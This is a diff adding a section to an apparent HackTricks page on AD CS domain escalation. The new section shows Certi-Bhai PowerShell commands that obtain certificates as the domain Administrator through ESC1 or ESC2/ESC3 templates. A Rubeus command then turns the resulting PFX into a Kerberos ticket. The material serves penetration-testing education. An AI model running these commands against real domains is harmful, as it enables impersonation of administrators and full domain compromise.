diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
index fcd7c841059..6182521b45f 100644
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
+++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
@@ -145,6 +145,26 @@ The **users** who are allowed to **obtain** an **enrollment agent certificate**,
 
 However, it is noted that the **default** setting for CAs is to “**Do not restrict enrollment agents**.” When the restriction on enrollment agents is enabled by administrators, setting it to “Restrict enrollment agents,” the default configuration remains extremely permissive. It allows **Everyone** access to enroll in all templates as anyone.
 
+### Windows-only PowerShell PoCs with Certi-Bhai
+
+[**Certi-Bhai**](https://github.com/incredibleindishell/Certi-Bhai) exercises ESC1 and ESC2/ESC3 without Certify or Certipy. Its scripts create an exportable 2048-bit RSA key with the `X509Enrollment` COM API, build a PKCS#10 request, discover the first `pKIEnrollmentService` through LDAP, submit it through `CertificateAuthority.Request`, install the response in `Cert:\CurrentUser\My`, and export a Base64-encoded PFX. The ESC1 script adds an attacker-selected UPN SAN (`XCN_CERT_ALT_NAME_USER_PRINCIPLE_NAME`, value `0xb`), whereas the ESC2/ESC3 scripts use the first certificate to sign a PKCS#7 on-behalf-of request.<sup>[[17]](#references)</sup>
+
+```powershell
+# ESC1: supply the identity in the subject and UPN SAN
+.\ESC1\esc1.ps1 -subjectName "CN=Administrator,CN=Users,DC=corp,DC=local" `
+  -altName "administrator@corp.local" -templateName "VulnESC1" -pfxPass "PfxPass!"
+
+# ESC2/ESC3: obtain an agent-capable certificate, then enroll for the target
+.\ESC3\esc3_working.ps1 -templateName "VulnEnrollmentAgent" `
+  -target_user "administrator" -domain "CORP" -pfxPass "PfxPass!"
+```
+
+The scripts print the Base64 of the **PFX**, which includes the private key, for direct use with Rubeus. Do not replace it with `[Convert]::ToBase64String($cert.RawData)`: `RawData` encodes only the public certificate and cannot sign the PKINIT request.<sup>[[5]](#references)[[17]](#references)</sup>
+
+```powershell
+Rubeus.exe asktgt /user:administrator /certificate:<BASE64_PFX> /password:PfxPass! /nowrap
+```
+
 ## Vulnerable Certificate Template Access Control - ESC4
 
 ### **Explanation**
@@ -1095,5 +1115,6 @@ Both scenarios lead to an **increase in the attack surface** from one forest to
 - [14] [Certipy Wiki – Privilege Escalation (ESC1-ESC17)](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation)
 - [15] [TrustedSec – EKUwu: Not Just Another AD CS ESC](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
 - [16] [Furious5 – AD CS ESC16: Misconfiguration and Exploitation](https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6)
+- [17] [incredibleindishell/Certi-Bhai – AD CS PowerShell exploitation toolkit](https://github.com/incredibleindishell/Certi-Bhai)
 
 {{#include ../../../banners/hacktricks-training.md}}